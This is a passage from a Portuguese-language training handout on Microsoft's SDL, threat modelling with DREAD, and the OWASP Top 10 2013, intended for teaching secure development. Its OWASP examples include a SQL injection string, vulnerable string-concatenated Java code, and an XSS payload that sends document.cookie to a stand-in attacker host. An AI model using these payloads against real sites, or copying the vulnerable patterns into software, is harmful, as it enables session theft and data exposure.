revisar os modelos de ameaça e a medição da superfície de ataque quando o
código estiver concluído. Essa revisão garante que eventuais alterações de
design ou de implementação sejam consideradas e que os novos vetores de
ataque criados como resultado das alterações sejam revisados e mitigados.
TELA 31Fase de liberação. Esta é a última fase do ciclo de vida do SDL e
consiste nas práticas finais: 14 a 16.
Prática do SDL 14: Plano de resposta de incidentes. Toda liberação de
software sujeita aos requisitos do SDL deve incluir um plano de resposta de
incidentes. Mesmo os programas sem vulnerabilidades aparentes podem estar
sujeitos a novas ameaças que surgem com o tempo. O plano de resposta de
incidentes deve incluir:
Uma equipe de SE (engenharia sustentada) identificada ou, se a equipe
for muito pequena para ter recursos de SE, um ERP (Plano de resposta
de emergência) que identifica as equipes de engenharia, de marketing,
de comunicações e de gerenciamento adequadas para agir como pontos
de contato primário em uma emergência de segurança.
Lista de contatos com autoridade de tomar decisões 24 horas por dia,
sete dias por semana.
Planos de serviço de segurança para código herdados de outros grupos
dentro da organização.
Planos de serviço de segurança para código de terceiros licenciados,
incluindo nomes de arquivo, versões, código-fonte, informações de
contato de terceiros e permissão contratual para fazer alterações.
TELA 32
Prática do SDL 15: Revisão final de segurança. A FSR (Revisão final de
segurança) é um exame programado de todas as atividades de segurança
realizadas em um aplicativo antes de sua liberação.
ProdutivaTI Página 49 de 131
MÓDULO 3 - SDL
É realizada pelo consultor de segurança com a ajuda da equipe de
desenvolvimento regular e dos líderes das equipes de segurança e de
privacidade.
A FSR não somente é uma parte crucial do SDL, é também um processo
complexo com muitas tarefas importantes.
Ela geralmente inclui um exame dos modelos de ameaça, das
solicitações de exceção, da saída de ferramentas e do desempenho com
relação aos portões de qualidade ou das barras de erros previamente
determinados.
TELA 33
A Revisão final de segurança pode ter um de três diferentes resultados:
FSR aprovada , quando todos os problemas de segurança e de
privacidade identificados pelo processo de FSR foram corrigidos ou
mitigados.
FSR aprovada com exceções (por exemplo, vulnerabilidades impostas
por problemas antigos de “nível de design”), que são registradas para
correçãi na próxima versão.
FSR com escalação . Se a equipe não satisfizer todos os requisitos do
SDL e o consultor de segurança e a equipe do produto não atingir um
compromisso aceitável, o consultor de segurança não poderá aprovar o
projeto, e ele não poderá ser liberado. As equipes devem abordar todos
os requisitos do SDL possíveis antes de lançar ou escalar para que a
diretoria executiva tome uma decisão.
TELA 34
ProdutivaTI Página 50 de 131
MÓDULO 3 - SDL
Prática do SDL 16: Liberar/Arquivar. A Liberação do software para
fabricação (RTM) ou liberação para a web (RTW) depende da conclusão do
processo do SDL.
O consultor de segurança designado para a liberação deve certificar
(usando a FSR ou outros dados) que a equipe do projeto satisfez os requisitos
de segurança. Isso deve ocorrer para todos os produtos que possuem ao
menos um componente com a Classificação de impacto de privacidade de P1.
Além disso, todos os dados e informações do projeto devem ser
arquivados. Isso inclui todas as especificações, código-fonte, binários, símbolos
particulares, modelos de ameaça, documentação, planos de resposta de
emergência, licença e termos de instalação para qualquer software de terceiros
e quaisquer outros dados necessários para desempenhar tarefas pós-
lançamento.
TELA 35
Chegamos ao final deste Capítulo 3, que nos permitiu maior proximidade
com o processo de segurança em desenvolvimento. Aqui, você obteve uma
visão geral do Security Development Lifecycle (SDL); percorreu quatros fases
do ciclo de desenvolvimento seguro, nomeadamente as fases de planejamento;
de design; de implementação; e de administração da solução.
TELAS 36 a 40
Em RESUMO: Segurança => sofre pressões do mercado; implica proteger infraestruturas críticas e criar e
preservar cultura de confiança em TI. Aspectos-chaves para software seguro => processo repetitivo, treinamento; métricas e
responsabilidades. Microsoft Security Development Lifecycle (SDL) => proposta Microsoft para criação de
processos com práticas de segurança consistentes. SDL => envolve garantia de segurança em web services com foco no ciclo de vida do
desenvolvimento de software.
ProdutivaTI Página 51 de 131
MÓDULO 3 - SDL
Estratégia de segurança do SDL baseia-se na regra SD3+C, que corresponde aos princípios do desenvolvimento seguro:
- Secure by Design (segurança por design), - Secure by Default (segurança por padrão), - Secure in Deployment (segurança na implantação - desenvolvimento/produção), e - Communications (comunicação). Modelo de processo SDL = Ciclo de vida SDL => 7 FASES (adaptáveis ao contexto); Fases SDL => teinamento (pré-fase), requisitos, design, implementação, verificação,
liberação, resposta; Exemplo de adaptação no modelo de processo SDL (5 fases) => planejamento
(requisitos); design; implementação; verificação; liberação. Níveis de maturidade do SDL (para práticas e capacidades) => básico, padronizado,
avançado e dinâmico. Modelo do SDL => não é um processo de desenvolvimento em 'cascata'. Modelo do SDL => É processo em 'espiral', no qual os requisitos e o design são
revisitados diversas vezes durante a implementação Recomendação de treinamento => prática 1 do SDL, com mínimo anual (projeto de
segurança; modelagem de ameaças; codificação segura; testes de segurança; privacidade).
Práticas SDL => total de 16 práticas, sendo 1 na pré-fase de treinamento e três práticas em cada uma das demais fases até a liberação (requisitos, design, implementação, verificação, liberação).
Práticas do SDL na Fase de Planejamento => prática 2: requisitos de segurança; prática 3: portões de qualidade/barras de erros; prática 4: avaliações de riscos de segurança (SRAS) e de privacidade (PRAS).
Práticas do SDL na Fase de Design => prática 5: requisitos de design; prática 6: redução da superfície de ataque; prática 7: modelagem de ameaças.
Práticas do SDL na Fase de Implementação => prática 8: Utilizar ferramentas aprovadas; prática 9: desaprovar funções não seguras; prática 10: análise estática.
Práticas do SDL na Fase de Verificação (administração) => prática 11: análise de programa dinâmica; prática 12: teste de fuzzing; prática 13: modelo de ameaças e revisão da superfície de ataque.
Práticas do SDL na Fase de Liberação (administração) => prática 14: plano de resposta de incidentes; prática 15: revisão final de segurança (FSR) ; prática 16: liberar/arquivar.
FSR => aprovada, aprovada com exceções; com escalação
ProdutivaTI Página 52 de 131
MÓDULO 3 - SDL
TELA 14. Papéis e Responsabilidades (28 telas)
O Capítulo 4 apresenta como importantes papéis e responsabilidades
são vistos no contexto do SDL. Ao longo desta unidade de aprendizagem você
conhecerá cada um dos seguintes perfis, assim como suas atribuições:
revisores,
especialistas,
auditores e
facilitadores.
TELA 2Funções, responsabilidades e qualificações da equipe de segurança são
definidas pelo SDL, que estabelece critérios e descrições de atividades para as
atribuições gerais de segurança e de privacidade.
Tais funções possuem natureza consultiva e são cumpridas durante a
fase de requisitos do processo do SDL, como ocorre com o preenchimento da
'equipe de segurança central'.
A equipe de segurança deve ter alta disponibilidade para interações no
processo de desenvolvimento e criação do software; além de ser confiável
quanto a detenção de informações comerciais e técnicas confidenciais.
Esses requisitos apontam para a necessidade de criação de uma equipe
de segurança, que pode conter elementos da própria organização ou ser
formada a partir da contratação de consultores que auxiliarão na criação e
treinamento dos membros da equipe.
TELA 3O time de segurança em desenvolvimento deve conduzir as atividades
de segurança em desenvolvimento e ser composto por: revisores, responsáveis
por políticas e métricas, testadores e orientadores.
Esses profissionais, sejam da empregados da organização ou
consultores externos, devem ter conhecimento e experiências relacionadas a
segurança, além de perfil de engenharia de software.
ProdutivaTI Página 53 de 131
MÓDULO 3 - SDL
Com base nas funções que define, o SDL estabelece uma estrutura
organizacional capaz de identificar, catalogar e mitigar os problemas de
segurança e de privacidade característicos de um projeto de desenvolvimento
de software.
Vejamos, agora, algumas dessas funções, mais especificamente as de
revisores, especialistas, auditores e facilitadores.
TELA 4
4.1. Revisores
A atuação dos revisores pode ocorrer em qualquer fase do ciclo de vida
do software, mas possui maior adequação no momento da revisão final de
segurança (FSR), envolvendo-se com as práticas 15 a 17 do SDL:
promove a FSR, examinando cuidadosamente todas as atividades de
segurança antes da liberação do software;
examina os modelos de ameaça, as solicitações de exceção, a saída de
ferramentas e o desempenho com relação aos portões de qualidade ou
das barras de erros previamente determinados.
aprova a FSR, caso todos os problemas de segurança e de privacidade
identificados tenham sido corrigidos ou mitigados.
aprova a FSR, com exceções caso haja vulnerabilidades pendentes,
mas a essencia dos problemas de segurança e de privacidade
identificados tenham sido corrigidos ou mitigados.
TELA 21 (continuação das responsabilidades dos Revisores)
define a condição de FSR com escalação, se a equipe de segurança
não satisfizer todos os requisitos do sdl e o consultor de segurança e a
equipe do produto não atingir um compromisso aceitável.
Atividade excepcional, a revisão manual de código é uma tarefa opcional
no SDL e é geralmente desempenhada por indivíduos altamente habilidosos no
ProdutivaTI Página 54 de 131
MÓDULO 3 - SDL
aplicativo da equipe de segurança e/ou o consultor de segurança, não raras
vezes os revisores. A revisão manual de código é focada nos componentes
críticos de um aplicativo. É frequentemente usado onde dados importantes,
como informações de identificação pessoal (PII), são processados ou
armazenados. Também é usado para examinar outras funcionalidades críticas
como implementações.
TELA 22 (continuação das responsabilidades dos Revisores)
Mesmo sendo predominantemente ligado às atividades da FSR,
revisores podem atmbém ser designados para assumir atividades
especializadas relacionadas à engenharia de requisitos, desde que
previamente estabelecido no planejamento do projeto. Nesse caso, pode
realizar as seguintes tarefas:
especificar o ambiente operacional
identificar a política de segurança
global
identificar recursos e limites de
confiança
identificar funções de usuário e de
recursos
documentar requisitos de
segurança relevantes
detalhar casos de uso indevido
identificar a superfície de ataque
aplicar os princípios de
segurança para a concepção
realizar análise de segurança de
requisitos do sistema e design
(modelagem de ameaças) e
avaliar a postura de segurança
de soluções de tecnologia
gerenciar o processo de
divulgação do problema de
segurança
TELA 23
4.2. Especialistas
O especialista pode assumir na equipe como um empregado da
organização ou como um consultor-especialista. Em ambas as situações, deve
ter grande experiência comprovada nos assuntos de segurança.
ProdutivaTI Página 55 de 131
MÓDULO 3 - SDL
Devido à amplitude de seu conhecimento, especialistas podem atuar
como facilitadores, auditores e até revisores. Entretanto, como desenvolvedor
dos sistemas de informação o especialista pode contribuir fortemente com o
processo de segurança ao longo do ciclo de vida dos softwares, assumindo
tarefas que, sem bem conduzidas, podem favorecer a segurança do produto
final.
TELA 24 Entre as tarefas que o especialista-desenvolvedor pode assumir, estão:
planejar o desenvolvimento do sistema de informação, usando como
referência os requisitos técnicos de segurança;
desenvolver o sistema de informação de acordo com os requisitos de
segurança planejados, produzindo matriz de rastreabilidade entre o
que foi implementado e o que havia sido estabelecido.
produzir evidências e testar o sistema de informação para assegurar o
cumprimento dos requisitos de segurança.
realizar testes de vulnerabilidade nos sistemas, inclusive de forma
automática, e
gerar relatórios e demais documentos para revisão, comunicação e
controle.
resolver ou mitigar vulnerabilidades de alto impacto antes de colocar
os sistemas desenvolvidos em produção.
TELA 25
4.3. Auditores
O auditor é responsável por monitorar cada fase do processo
de desenvolvimento de software e certificar a conclusão
bem-sucedida de cada requisito de segurança. Deve ter a liberdade de
certificar a conformidade (ou não conformidade) com os requisitos de
segurança e de privacidade sem a interferência da equipe do projeto.
ProdutivaTI Página 56 de 131
MÓDULO 3 - SDL
Auditores de segurança possuem as seguintes funções principais:
responder pela análise de segurança dos requisitos do sistema; pela segurança
do processo de modelagem de ameaças (design); promover revisão de
segurança em nível de origem.
TELA 26No cumprimento de sua função, o papel da auditoria de desenvolvimento
seguro de sistemas pode ser discriminado nas seguintes atividades:
Avaliar o sistema geral de segurança da organização, identificando
todos os controles dos sistemas individuais de informação;
Rever tecnologias, procedimentos, documentação, treinamento e
recursos humanos;
Listar e classificar todos os pontos fracos do controle e estima a
probabilidade de ocorrerem erros nesses pontos.
Avaliar o impacto financeiro e organizacional de cada ameaça.
Simular ataques ou desastres para verificar como os recursos
tecnológicos, a equipe de sistemas de informação e os funcionários da
empresa reagem.
TELA 27
4.4. Facilitadores
Conduzem o treinamento e a capacitação da equipe de segurança. Com
o processo iniciado, e contando com o apoio da gestão corporativa, é preciso:
treinar os envolvidos;
desenvolver materiais e recursos para atualização e conscientização
quanto à necessidade de segurança;
criar e alimentar a cultura de segurança da organização.
pesquisar e informar (comunicar) o time de segurança quanto às
fontes de pesquisa em torno da temática.
ProdutivaTI Página 57 de 131
MÓDULO 3 - SDL
TELA 28
Chegamos ao final do Capítulo 4, no qual você teve a oportunidade de
conhecer como os seguintes papéis e responsabilidades são vistos no contexto
do SDL: revisores, especialistas, auditores e facilitadores.
Considerando a característica diferenciada do conteúdo desta unidade
de aprendizagem, por si só composta de tópicos objetivos, concluiu-se que ela
não comporta um tópico Em RESUMO.
ProdutivaTI Página 58 de 131
MÓDULO 3 - SDL
TELA 1Capítulo 5. Introdução a Modelagem de Ameaças (22 telas)
Esta unidade de aprendizagem introduz brevemente o processo de
modelagem de ameaças do SDL, especificando sua estrutura e suas fases.
As principais referências utilizadas para elaboração do conteúdo deste
capítulo foram o manual Microsoft Security Development Lifecycle Process 5.2
(2012) e o Módulo TechNet Library: Modelagem de Ameaças de Segurança,
disponível no website institucional da Microsoft® Corporation.
TELA 2A modelagem de ameaças é um processo dentro do ciclo de vida do
desenvolvimento de software seguro. Ela consiste no levantamento de contra-
medidas de segurança voltadasa a resolver as ameaças ao software.
O processo de modelagem de ameaça deve ser aplicado no início do
projeto e acompanhar todo o ciclo de vida da aplicação.
Modelos de ameaças possuem importância crítica na construção do
software seguro, pois são considerados indispensáveis para entender como
seu produto pode ser atacado e como defendê-lo.
São também excelente maneira de diagnosticar a saúde de um processo
de desenvolvimento de software, pois permite que as equipes de segurança
estejam mais em sintonia com as ameaças ao seu código e, portanto,
consigam construir melhores modelos de ameaça.
TELA 3Seguindo o processo atualizado de modelagem de ameaças, é possível
monitorar sistematicamente a aplicação, classificar o risco de cada ameaça, e
determinar as atenuações apropriadas para o contexto. Modelagem de
ameaças também pode ajudar a realizar análises de código e construir testes
de penetração.
A elaboração de modelos de ameaças permite a identificação
sistemática e a estimativa das ameaças que mais atacam o seu
sistema. Modelos de ameaças possuem abordagem estruturada,
financeiramente efetiva, direcionada a ameaças previamente identificada com
recomendação de tratamento.
ProdutivaTI Página 59 de 131
MÓDULO 3 - SDL
TELA 4Ao entender e aplicar a metodologia de elaboração de modelos de
ameaças, você terá mais condições de identificar e estimar ameaças
existentes, a partir do entendimento efetivo das vulnerabilidades que atingem
sua aplicação.
Com tais informações, você conseguirá não só identificar as ameaças,
mas também priorizá-las, podendo tratá-las em uma ordem lógica, começando
com aquelas que apresentam maiores riscos.
ATENÇÃO:
A Microsoft® disponibiliza em seu website diversas ferramentas gratuitas para o SDL. A
Ferramenta de Modelagem de Ameaças da Microsoft® 2016, por exemplo, contém o aplicativo,
guia da ferremanta, manual de usuário e orientações em vídeo. Você pode fazer o download
em: <https://www.microsoft.com/en-us/SDL/adopt/tools.aspx>.
TELA 5
Antes de iniciar os estudos do processo de elaboração de modelos de
ameaças, vamos recordar alguns termos básicos:
Recurso . Algo de valor, tangível ou não, tais como os dados no banco de
dados ou em um sistema de arquivo. Um recurso do sistema.
Ameaça . Ocorrência potencial, maliciosa que pode danificar ou
comprometer seus recursos.
Vulnerabilidade . Fraqueza ou recurso de um sistema, capaz de viabilizar
uma ameaça. As vulnerabilidades podem existir na rede, no host ou nos
níveis de aplicação.
Ataque (ou exploração). Ação realizada por algo ou alguém que prejudica
um recurso. Pode ser alguém que segue em direção a uma ameaça
ou explora uma vulnerabilidade.
Medida . Ação (garantia) adotada para tratar a ameaça e reduzir o risco.
ProdutivaTI Página 60 de 131
MÓDULO 3 - SDL
TELA 6
EXEMPLO:
Uma jóia, dentro de uma casa, é um recurso e o assaltante é o invasor. Uma porta é um
recurso da casa e uma porta aberta representa uma vulnerabilidade. O assaltante pode
explorar a porta aberta para obter acesso a casa e roubar a jóia. Em outras palavras, o invasor
explora uma vulnerabilidade para obter acesso a um recurso. A medida apropriada, neste caso,
é trancar a porta.
TELA 7
Tenha em mente que:
mesmo que você possa reduzir o risco de um ataque, você nunca
consegue reduzir ou eliminar a ameaça.
ameaças existem, independentemente das medidas de segurança que
você adote.
em termos de segurança, o máximo que se pode fazer é detectar a
presença de ameaças e gerenciar seus riscos.
Nesse sentido, a elaboração de modelos de ameaças, ajuda a gerenciar
e comunicar os riscos para as equipes de segurança. Algo que deve ser tratado
como um processo iterativo. O modelo de ameaças deve ser visto como um
item dinâmico que muda continuamente à medida em que surgem novos tipos
de ameaças e ataques.
TELA 8
5.1. O Processo de Modelagem de Ameaças
A Figura 8 mostra o processo de elaboração de modelos que pode ser
desenvolvido utilizando um processo de seis estágios e que é aplicável para
aplicações que estão em andamento e para as já existentes. Ele envolve as
seguintes fases:
1. Identificar os recursos de valor que seus sistemas devem proteger.
ProdutivaTI Página 61 de 131
MÓDULO 3 - SDL
2. Criar um resumo da arquitetura de sua aplicação, com base em diagramas
e tabelas simples, documentando inclusive subsistemas, limites de
confiança e fluxo de dados.
3. Decompor a arquitetura da aplicação , incluindo rede principal, projeto de
infra-estrutura de rede. O objetivo é criar um perfil de segurança para a
aplicação, de forma a dar cobertura às vulnerabilidades no design,
implementação ou configuração de implantação da sua aplicação.
TELA 9 (continuação das fases da modelagem de ameaças)4. Identifique as ameaças . Ter em mente os objetivos de um invasor e o
conhecimento da arquitetura e das vulnerabilidades potenciais de sua
aplicação identifica as ameaças que poderiam afetar a sua aplicação.
5. Documente as ameaças , usando um modelo comum que defina um
conjunto principal de atributos para cada ameaça.
6. Estime as ameaças , para priorizar e tratar primeiro as mais significativas,
que representam o maior risco. O processo de estimativa mede a
probabilidade da ameaça contra os danos que poderiam ocorrer caso um
ataque ocorra.
TELA 10
Figura 8 - Visão geral do processo de modelagem de ameaças. FONTE: https://technet.microsoft.com/pt-br/pt%C2%ADbr/library/dd569893.aspx
ProdutivaTI Página 62 de 131
MÓDULO 3 - SDL
TELA 11
O principal resultado (produto, artefato) do processo de modelagem de
ameaças é um documento (ou conjunto de documentos) que contém
informações de fundo sobre o aplicativo e define o modelo de aplicativo de alto
nível, frequentemente usando:
diagramas de fluxo de dados (DFDs);
uma lista de ativos que requerem proteção;
ameaças ao sistema classificado por risco, constituindo uma lista
com informações relevantes.
TELA 12
Tal documento é destinado aos vários membros do projeto. Ele lhes
permite entender com clareza as ameaças que precisam ser tratadas e como
fazer isso.
Os modelos de ameaças consistem de uma definição da arquitetura da
aplicação e de uma lista de ameaças para o seu cenário da aplicação:
O primeiro passo, identificar os recursos, pode envolver desde dados
confidenciais, como bancos de dados, até páginas da web, disponibilidade do
site.
Na segunda fase, criar uma arquitetura, envolve as tarefas de identificar
o que a aplicação faz; criar um diagrama da arquitetura; identificar as
tecnologias.
TELA 13A terceira etapa, decompor a aplicação requer a realização das
seguintes tarefas: identificar limites de confiança; identificar o fluxo de dados;
identificar os pontos de entrada; identificar código privilegiado; documentar o
perfil de segurança.
No quarto passo, é necessário identificar as ameaças que podem afetar
o seu sistema e comprometer seus recursos. As tarefas dessa etapa
são: identificar ameaças de rede; identificar ameaças de hosts; identificar
ameaças de aplicação.
ProdutivaTI Página 63 de 131
MÓDULO 3 - SDL
TELA 14
ATENÇÃO!
Árvores de Ataque e Padrões de Ataque são ferramentas importantes, muito utilizadas pelos
profissionais de segurança. Embora não sejam componentes da fase de identificação, você
pode considerar útil usá-las nesse processo. Elas permitem análise profunda, ampliando as
possibilidades de identificação. Saiba mais em: <https://technet.microsoft.com/pt-br/pt
%C2%ADbr/library/dd569893.aspx>.
TELA 15
No passo 5, para documentar as ameaças da aplicação, é importante
utilizar um modelo que permita evidenciar diversos atributos das ameaças,
como sua descrição e seu alvo, que são atributos essenciais.
Finalmente, no passo 6, ao estimar as ameaças, já é possível trabalhar
com a lista de ameaças obtidas pelas tarefas realizadas nas fases anteriores.
Esse é o passo final do processo e pode-se estimar as ameaças com
base nos seus riscos potenciais. O que também ajudará a priorizar o
tratamento das ameaças, permitindo resolver primeiramente as que
apresentam os maiores riscos e depois resolver as outras.
TELA 16No estágio final do processo, é preciso levar em conta algumas
questões. Por exemplo: como saber se é economicamente viável tratar todas
as ameaças identificadas, mesmo priorizando-as? Posso ignorar algumas
delas? Qual a chance de ocorrência de uma ameaça?
Vamos respondê-las, falando um pouco sobre a estratégia de
priorização de ameaças proposta pela Microsoft, como parte do SDL. Observe
a seguinte fórmula:
Risco = Probabilidade * Potencial de Danos.
Ela indica que o risco apresentado por uma ameaça é representada
pela probabilidade de ocorrência da ameaça multiplicada pelo potencial de
danos de um eventual ataque que venha a ocorrer.
ProdutivaTI Página 64 de 131
MÓDULO 3 - SDL
TELA 17Suponha que tanto a probabilidade quanto os danos sejam medidos em
uma escala de 1 a 10, sendo que 1 representa menor probabilidade e danos
mínimos, enquanto 10 maior probabilidade e danos catastróficos.
Com esse conceito, o risco representado por uma ameaça com uma
baixa probabilidade de ocorrer, mas com grande potencial de danos, pode ser
considerado igual ao risco apresentado pela ameaça com baixo potencial de
danos, mas grandes chances de ocorrer.
Esse modelo permite medidas em uma escala de 1 a 100, que pode ser
dividada em três áreas para gerar uma estimativa Alta, Média ou Baixa
(lembre-se de que ainda estamos no Passo 6: Estimar Ameaças).
TELA 18Ocorre que uma escala simples de prioridades Alta, Média e Baixa para
estimar o tratamento de ameaças ainda parece muito simplista. Por isso, a
Microsoft propõe o modelo DREAD (Damage, Reproduction, Exploration,
Affected, Discovery).
Com o modelo DREAD é possível estimar o risco de certa ameaça, a
partir dos seguintes questionamentos mínimos:
Potencial de Danos (Damage): Qual o tamanho do dano se a
vulnerabilidade for explorada?
Capacidade de Reprodução (Reprodution): Com que facilidade um ataque
é reproduzido?
Capacidade de Exploração (Exploration): Com que facilidade um ataque é
lançado?
Usuários afetados (Affected): Quantos usuários são afetados?
Descoberta (Discovery): Com que facilidade é encontrada a
vulnerabilidade?
ProdutivaTI Página 65 de 131
MÓDULO 3 - SDL
TELA 19
Para fazer uso do método, é necessário estabelecer uma escala de
medida para os DREADs (crescente de 1 a 5, por exemplo) e elaborar uma
tabela na qual serão ranqueadas todas as ameaças mapeadas. A Tabela 3
exemplifica uma estimativa DREAD realizada com quatro ameaças.
Descrição da ameaça D R E A D TOTAL ESTIMATIVA
O invasor pode obter as credenciais de autenticação
monitorando a rede.4 3 3 4 2 16 MÉDIA
Os comandos do SQL são injetados na aplicação. 4 2 1 1 1 9 BAIXA
Uma aplicação de reservas de passagens aéreas suporta
reescrita de URL, colocando IDs de sessão na URL.4 3 3 3 2 15 MÉDIA
Uma falha de upload de arquivos permite que um atacante
recupere o arquivo de senhas.5 4 3 4 3 19 ALTA
Tabela 3 - Estimativa DREAD para priorização de riscos.FONTE: Adaptação da autora, a partir de conteúdos disponíveis em: https://technet.microsoft.com/
TELA 19Depois da elaboração dos modelos de ameaça, é preciso elaborar a
documentação dos aspectos de segurança mapeados e uma lista de ameaças
relacionadas. O modelo de ameaça devidamente documentado é instrumento
importante para envolver os membros da equipe de segurança no
desenvolvimento e para focar nas mais potentes ameaças.
Chegamos ao final do Capítulo 5, ao longo do qual você conheceu a
estrutura e as fases do processo de modelagem de ameaças.
TELAS 20 a 22
Em RESUMO: Rever termos básicos => recurso, ameaça, vulnerabilidade, ataque (ou exploração),
medida. Lembrar => é possível reduzir os riscos, mas não eliminar ameaças; Modelos de ameaças => ajudam a detectar a presença de ameaças e gerenciar seus
riscos. Processo de modelagem de ameaças => 6 estágios: identificar os recursos; criar um
resumo da arquitetura; decompor a arquitetura da aplicação; identifique as ameaças; documente as ameaças; estime as ameaças.
ProdutivaTI Página 66 de 131
MÓDULO 3 - SDL
Identificar os recursos => desde dados confidenciais até páginas da web e disponibilidades do site.
Criar uma arquitetura => identificar o que a aplicação faz; criar um diagrama da arquitetura; identificar as tecnologias.
Decompor a aplicação => identificar limites de confiança; identificar o fluxo de dados; identificar os pontos de entrada; identificar código privilegiado; documentar o perfil de segurança.
Identificar as ameaças => identificar ameaças de rede; identificar ameaças de hosts; identificar ameaças de aplicação.
Documentar as ameaças => utilizar um modelo capaz de evidenciar atributos das ameaças.
Estimar as ameaças => usar lista de ameaças obtidas nas tarefas anteriores; estimar ameaças com base nos seus riscos potenciais; priorizar tratamento das ameaças, resolvendo primeiramente as de maiores riscos.
Estratégias de priorização => Risco = Probabilidade * Potencial de Danos. Estratégias de priorização => DREAD (Damage, Reproduction, Exploration, Affected,
Discovery).
ProdutivaTI Página 67 de 131
MÓDULO 3 - SDL
TELA 16. As Vulnerabilidades do OWASP Top 10 2013 (36 telas)
Este Capítulo 6 apresenta a comunidade internacional Open Web
Application Security Project (OWASP) já referida algumas vezes ao longo do
Curso, sendo indispensável recurso de segurança para profissionais e
organizações.
Nesta unidade de aprendizagem você:
conhecerá a proposta OWASP Top 10;
identificará de forma discriminada todas as vulnerabilidades do
OWASP Top 10 2013.
TELA 2
A Open Web Application Security Project (OWASP) é uma entidade sem
fins lucrativos e de reconhecimento internacional, que contribui para a
melhoria da segurança de softwares aplicativos de base web.
Dedica-se a capacitar as organizações para desenvolver, adquirir e
manter aplicações confiáveis, reunindo informações que possibilitam avaliar
riscos de segurança e combater ataques através da internet.
Estudos e documentos da OWASP são disponibilizados para a
comunidade internacional, sendo adotados como referência por muitas
organizações de porte e renome.
TELA 3O trabalho mais conhecido da OWASP é a lista The Top 10 Most
Critical Web Appl ication Security Risks, documento que reúne os riscos
de ataque mais críticos exploráveis a partir de vulnerabilidades de aplicações
web.
A lista OWASP Top 10 é um ranking atualizado periodicamente e seus
tópicos servem de parâmetros para controle de segurança em todo o mundo.
A OWASP utiliza a Risk Rating Maethodology para priorizar sua lista Top
10, que é atualizada periodicamente a partir de um banco de dados resultante
ProdutivaTI Página 68 de 131
MÓDULO 3 - SDL
de pesquisas estatísticas sobre ataques de segurança identificados
mundialmente.
TELA 4 Com base na Top 10, a OWASP identifica os ataques de maior risco e
faz recomendações de segurança capazes de evitar aqueles ataques ao longo
das etapas do desenvolvimento das aplicações.
O que permite diminuir o desperdício de tempo, dinheiro, recursos e de
controles inúteis, ao tempo em que aumenta as chances de foco no
mapeamento dos riscos reais.
Muitas das vulnerabilidades que compõem o ranking envolvem tanto
falhas de projeto, quanto de aplicação, ambos promovidos por pessoas
envolvidas no processo de desenvolvimento das aplicações.
O documento OWASP TOP 10 nos conscientiza quanto a um fato
inquestionável: as vulnerabilidades que o compõem existem e estão sendo
detectadas e exploradas por oportunistas. Cabe-nos, portanto, tomar as
medidas preventivas para evitá-las e gerir os riscos dela decorrentes.
TELA 5Essta unidade de aprendizagem trata especificamente das
vulnerabilidades publicadas pelo projeto OWASP TOP 10 correspondente ao
ano de 2013.
São cerca de 500.000 vulnerabilidades, originárias de centenas de
organizações, a partir de milhares de aplicações.
Todas foram hierarquizadas de acordo com o nível de exploração,
detecção e impacto estimado.
Estão consolidadas no ranking OWASP Top 10 2013, a seguir
relacionadas e discriminads de forma breve.
Informações detalhadas podem ser obtidas diretamente no website
institucional da OWASP.
ProdutivaTI Página 69 de 131
MÓDULO 3 - SDL
TELA 6
6.1. A1: Injeção (Injection)
Figura 9 - OWASP Top 10 2013 A1. FONTE: https://www.owasp.org
TELA 7
A OWASP TOP 10 2013 trata inicialmente das vulnerabilidades do tipo
injecção de códigos, normalmente exploradas por erros na programação das
consultas.
Falhas de Injeção ocorrem quando dados não confiavéis são enviados
para um interpretador como parte de um comando ou consulta. Os dados
manipulados pelo atacante tendem a iludir o interpretador para que execute
comandos indesejados ou permita o acesso a dados não autorizados.
As injeções SQL são dos mais comuns exemplos deste tipo de
vulnerabilidades, que também pode ocorrer como injeção dee Sistema
Operacional (SO) e de LDAP.
TELA 8
Exemplo de Cenário de Ataque
A aplicação utiliza dados não confiáveis na construção da seguinte chamada SQL vulnerável:
ProdutivaTI Página 70 de 131
MÓDULO 3 - SDL
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
O atacante pode modificar o valor do parâmetro ‘id’ em seu navegador para enviar: ' or '1'='1.
Por exemplo: http://example.com/app/accountView?id=' or '1'='1. Essa alteração muda o
significado de ambas as consultas para retornar todos os registros da tabela de contas.
TELA 9
6.2. A2: Quebra de Autenticação e Gerenciamento de Sessão (Broken Authentication and Session Management)
Figura 10 - OWASP Top 10 2013 A2. FONTE: https://www.owasp.org
TELA 10
Na segunda posição do OWASP Top10 2013 estão as vulnerabilidades
relacionadas ao manuseio indevido de sessões e consequentes da exploração
de falhas de desenvolvimento, que permitem aos atacantes comprometer
tokens, senhas e, até mesmo, explorar vulnerabilidade dentro de aplicações.
As funções relacionadas com autenticação e gerenciamento de sessão
possivelmente foram implementadas incorretamente, permitindo que os
atacantes comprometam senhas, chaves e tokens de sessão ou, ainda,
ProdutivaTI Página 71 de 131
MÓDULO 3 - SDL
explorem outra falha da implementação para assumir a identidade de outros
usuários.
TELA 11
Exemplo de Cenário de Ataque
Uma aplicação de reservas de passagens aéreas aceita reescrita de URL, colocando
IDs de sessão na URL:
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?
dest=Hawaii
Um usuário autenticado avisa aos amigos que fez a venda (ou a compra) daquele
bilhete de passagem e resolve mandar um e-mail: #PartiuHawaii, com o link acima sem saber
que com isso também está enviando a sua ID da sessão. Qualquer um que utilizar aquele link,
terá acesso a sua sessão e cartão de crédito.
TELA 12
6.3. A3: Cross-Site Scripting (XSS)
Figura 11 - OWASP Top 10 2013 A3. FONTE: https://www.owasp.org
TELA 13
ProdutivaTI Página 72 de 131
MÓDULO 3 - SDL
A terceira categoria de vulnerabilidades mais comuns está no âmbito dos
Cross-Site Scripting (XSS), cujos ataques costumam ocorrer aproveitando a
falta de controle na validação dos dados inseridos pelo usuário, validação
pobre da informação inserida pelo atacante.
Falhas XSS acontecem sempre que uma aplicação recebe dados não
confiáveis e os envia ao navegador sem validação ou filtro adequados. XSS
permite aos atacantes executarem scripts no navegador da vítima que podem
“sequestrar” sessões do usuário, desfigurar sites, ou redirecionar o usuário
para sites maliciosos.
TELA 13
Exemplo de Cenário de Ataque
A aplicação utiliza dados não-confiáveis na construção do seguinte fragmento HTML
sem validação ou filtro:
(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC") + "'>";
O atacante modifica o parâmetro 'CC' em seu navegador para:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que o
